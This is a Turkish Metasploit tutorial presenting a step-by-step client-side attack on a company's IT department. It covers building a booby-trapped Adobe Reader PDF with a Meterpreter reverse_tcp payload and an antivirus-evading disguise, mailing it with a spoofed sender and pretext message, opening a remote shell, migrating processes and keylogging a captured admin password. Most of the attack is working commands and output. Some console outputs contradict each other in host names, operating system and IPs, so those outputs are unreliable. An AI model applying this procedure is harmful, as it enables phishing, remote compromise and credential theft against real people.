MSF Binary İstemci Exploitleri
İstemci Tarafı Exploitler
Önceki yazılarımızda Windows ve Linux için kullanılan istemci tarafı exploitleri görmüştük. Bu yazımızda başka bir senaryoya bakmak istiyorum.
Başarılı bir bilgi toplama safhasından sonra bir IT firması ile ilgili şu sonuca ulaştığımızı farz edelim. Firma;
-
Kullandıkları sistemler en yeni teknolojidir.
-
IT departmanının eposta adresi: itdept@victim.com
Şimdi bu durumda, IT departmanında bir bilgisayara ulaşmak ve keylogger adı verilen (tuş kaydedici) çalıştırmak istiyoruz. Bu sayede klavyeden bastıkları tuşları kayıt ederek yararlı bilgiler elde etmek mümkün olacaktır.
msfconsole
komutu ile Metasploit Framework’ü çalıştıralım. IT departmanının ilgisini çekecek ve açıp okumak isteyeceği bir PDF dokümanı hazırlayalım. Dokümanın güvenlikle ilgili ve mantıklı bir başlığının olması gerektiğini unutmayın. Ayrıca Antivirüs yazılımları tarafından zararlı olarak algılanmaması gerekmektedir.
Böyle bir PDF dokümanı hazırlamak için Adobe Reader ‘util.printf()’ JavaScript Function Stack Buffer Overflow Zafiyetini kullanacağız. Bunun için exploit/windows/fileformat/adobe_utilprintf
modülünü yükleyelim.
msf ***>*** use exploit/windows/fileformat/adobe_utilprintf
msf exploit***(*** adobe_utilprintf***)*** ***>*** set FILENAME BestComputers-UpgradeInstructions.pdf
FILENAME ***=>*** BestComputers-UpgradeInstructions.pdf
msf exploit***(*** adobe_utilprintf***)*** ***>*** set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD ***=>*** windows/meterpreter/reverse_tcp
msf exploit***(*** adobe_utilprintf***)*** ***>*** set LHOST 192.168.8.128
LHOST ***=>*** 192.168.8.128
msf exploit***(*** adobe_utilprintf***)*** ***>*** set LPORT 4455
LPORT ***=>*** 4455
msf exploit***(*** adobe_utilprintf***)*** ***>*** show options
Module options ***(*** exploit/windows/fileformat/adobe_utilprintf***)*** :
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME BestComputers-UpgradeInstructions.pdf yes The file name.
Payload options ***(*** windows/meterpreter/reverse_tcp***)*** :
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique ***(*** Accepted: '', seh, thread, process, none***)***
LHOST 192.168.8.128 yes The listen address
LPORT 4455 yes The listen port
Exploit target:
Id Name
-- ----
0 Adobe Reader v8.1.2 ***(*** Windows XP SP3 English***)***
Çıktıdan da görüleceği gibi FILENAME
değişkenini yani dosya adını istediğiniz gibi ayarlayabilirsiniz. Payload kısmında ise LHOST
ve LPORT
değişkenlerini dinleme yapılacak bilgisayarın bilgileri olarak ayarlamamız gerekmektedir. Ardında exploit
komutu ile modülü çalıştıralım.
msf exploit***(*** adobe_utilprintf***)*** ***>*** exploit
***[*** ******* ***]*** Creating 'BestComputers-UpgradeInstructions.pdf' file...
***[*** ******* ***]*** BestComputers-UpgradeInstructions.pdf stored at /root/.msf4/local/BestComputers-UpgradeInstructions.pdf
msf exploit***(*** adobe_utilprintf***)*** ***>***
Görüldüğü gibi PDF dosyası, /root/.msf4/local/
içerisine oluşturulmuştur. Bu dosyayı kolay ulaşım için /tmp
klasörü içine kopyalayalım. Şimdi dosyamızı ilgili eposta adresine göndermeden önce bilgisayarımızda dinleyici modülü çalıştırmamız gerekiyor. Bunun için exploit/multi/handler
modülünü kullanacağız. LHOST
ve LPORT
değerlerini PDF dosyası oluştururken verdiğimiz değerlerle aynı olmasına dikkat ediyoruz.
msf ***>*** use exploit/multi/handler
msf exploit***(*** handler***)*** ***>*** set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD ***=>*** windows/meterpreter/reverse_tcp
msf exploit***(*** handler***)*** ***>*** set LPORT 4455
LPORT ***=>*** 4455
msf exploit***(*** handler***)*** ***>*** set LHOST 192.168.8.128
LHOST ***=>*** 192.168.8.128
msf exploit***(*** handler***)*** ***>*** exploit
***[*** ******* ***]*** Handler binding to LHOST 0.0.0.0
***[*** ******* ***]*** Started reverse handler
***[*** ******* ***]*** Starting the payload handler...
Dinleyici modülü aktif hale getirdikten sonra bir şekilde PDF dosyasını itdept@victim.com
adresine göndermemiz gerekiyor. Bunu aşağıdaki örnek komutla yapabilirsiniz. Başka eposta gönderme yöntemleri de kullanabilirsiniz. Komut örnek olarak verilmiştir.
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing ***in *** a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions ***for *** upgrading and securing your software. Please read and let us know ***if *** you have any problems.
Sincerely,
Best Computers Tech Support
Aug 24 17:32:51 kali sendEmail[13144]: Message input complete.
Aug 24 17:32:51 kali sendEmail[13144]: Email was sent successfully!
Bu örnek komutta kullanılan parametreleri kısaca açıklayalım.
-t
: TO yani alıcı adresi ifade eder. -f
: FROM yani gönderici adresi ifade eder. -s
: SMTP Server IP adresini ifade eder. -u
: TTITLE yani postanın konusunu ifade eder. -a
: ATTACHMENT yani ekli dosyayı ifade eder.
Komutu yazıp ENTER tuşuna bastığınızda, epostanın Metin kısmını yazmaya başlayabilirsiniz. Yazım tamamlandıktan sonra CTRL+D tuşları ile işlemi tamamlayabilirsiniz. Böylece posta alıcı adrese gönderilecektir.
Alıcı, bu postayı alıp Antivirüs programı ile kontrol ettiğinde zararsız olarak sonuç alacaktır ancak dosyayı açmak için tıkladığında karşısına boş bir ekran gelse bile aslında dinleyici bilgisayarla iletişim kurulmuş olur.
***[*** ******* ***]*** Handler binding to LHOST 0.0.0.0
***[*** ******* ***]*** Started reverse handler
***[*** ******* ***]*** Starting the payload handler...
***[*** ******* ***]*** Sending stage ***(*** 718336 bytes***)***
session[******* ***]*** Meterpreter session 1 opened ***(*** 192.168.8.128:4455 -> 192.168.8.130:49322***)***
meterpreter ***>***
Gördüğünüz gibi, PDF dosyası açıldığında Meterpreter shell açılmış durumdadır. Artık karşı tarafın bilgisayarında çeşitli komutları çalıştırmak mümkündür. Son olarak post/windows/capture/keylog_recorder
modülünü çalıştırarak tuş hareketlerini kaydetmek mümkün hale gelmiştir.
meterpreter ***>*** ps
Process list
***============***
PID Name Path
--- ---- ----
852 taskeng.exe C:\Windows\system32\taskeng.exe
1308 Dwm.exe C:\Windows\system32\Dwm.exe
1520 explorer.exe C:\Windows\explorer.exe
2184 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
2196 VMwareUser.exe C:\Program FilesVMware\VMware Tools\VMwareUser.exe
3176 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
3452 AcroRd32.exe C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe
meterpreter ***>*** run post/windows/manage/migrate
***[*** ******* ***]*** Running module against V-MAC-XP
***[*** ******* ***]*** Current server process: svchost.exe ***(*** 1076***)***
***[*** ******* ***]*** Migrating to explorer.exe...
***[*** ******* ***]*** Migrating into process ID 816
***[*** ******* ***]*** New server process: Explorer.EXE ***(*** 816***)***
meterpreter ***>*** sysinfo
Computer: OFFSEC-PC
OS : Windows Vista ***(*** Build 6000, ***)*** .
meterpreter ***>*** use priv
Loading extension priv...success.
meterpreter ***>*** run post/windows/capture/keylog_recorder
***[*** ******* ***]*** Executing module against V-MAC-XP
***[*** ******* ***]*** Starting the keystroke sniffer...
***[*** ******* ***]*** Keystrokes being saved ***in *** to /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
***[*** ******* ***]*** Recording keystrokes...
Kaydedilen tuşları, 20110323091836_default_192.168.1.195_host.windows.key_832155.txt
dosyasının içeriğinden kontrol edebilirsiniz.
root@kali:~# cat /root/.msf4/loot/20110323091836_default_192.168.1.195_host.windows.key_832155.txt
Keystroke log started at Wed Mar 23 09:18:36 -0600 2011
Support, I tried to open ti his file 2-3 times with no success. I even had my admin and CFO tru y it, but no one can get it to p open. I turned on the rmote access server so you can log ***in *** to fix our p this problem. Our user name is admin and password ***for *** that session is 123456. Call or eme ail when you are ***done*** . Thanks IT Dept
Görüldüğü gibi IT çalışanı, tuş hareketlerinde kullanıcı adının admin
ve parolasının 123456
olduğunu habersizce ortaya çıkarmıştır.